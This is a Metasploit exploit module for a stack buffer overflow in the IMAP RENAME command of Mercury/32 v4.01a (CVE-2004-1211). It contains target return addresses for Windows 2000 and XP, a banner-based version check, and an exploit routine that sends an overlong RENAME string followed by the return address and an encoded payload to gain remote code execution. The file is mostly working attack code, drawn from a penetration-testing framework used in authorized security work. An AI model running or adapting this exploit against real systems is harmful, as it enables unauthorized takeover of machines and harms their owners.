1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Imap
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a stack buffer overflow vulnerability in the
18
          Mercury/32 v.4.01a IMAP service.
19
        },
20
        'Author' => [ 'MC' ],
21
        'License' => MSF_LICENSE,
22
        'References' => [
23
          [ 'CVE', '2004-1211'],
24
          [ 'OSVDB', '12508'],
25
          [ 'BID', '11775'],
26
          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=15867'],
27
        ],
28
        'Privileged' => true,
29
        'DefaultOptions' => {
30
          'EXITFUNC' => 'process',
31
        },
32
        'Payload' => {
33
          'Space' => 500,
34
          'BadChars' => "\x00\x0a\x0d\x20",
35
          'StackAdjustment' => -3500,
36
        },
37
        'Platform' => 'win',
38
        'Targets' => [
39
          ['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }],
40
          ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
41
          ['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
42
        ],
43
        'DisclosureDate' => '2004-11-29',
44
        'Notes' => {
45
          'Reliability' => UNKNOWN_RELIABILITY,
46
          'Stability' => UNKNOWN_STABILITY,
47
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
        }
49
      )
50
    )
51
  end
52

53
  def check
54
    connect
55
    resp = sock.get_once
56
    disconnect
57

58
    if (resp =~ /Mercury\/32 v4\.01a/)
59
      return Exploit::CheckCode::Appears
60
    end
61

62
    return Exploit::CheckCode::Safe
63
  end
64

65
  def exploit
66
    connect_login
67

68
    sploit = "a001 RENAME " + rand_text_alpha_upper(260)
69
    sploit << [target.ret].pack('V') + payload.encoded
70

71
    sock.put(sploit)
72

73
    handler
74
    disconnect
75
  end
76
end
77

78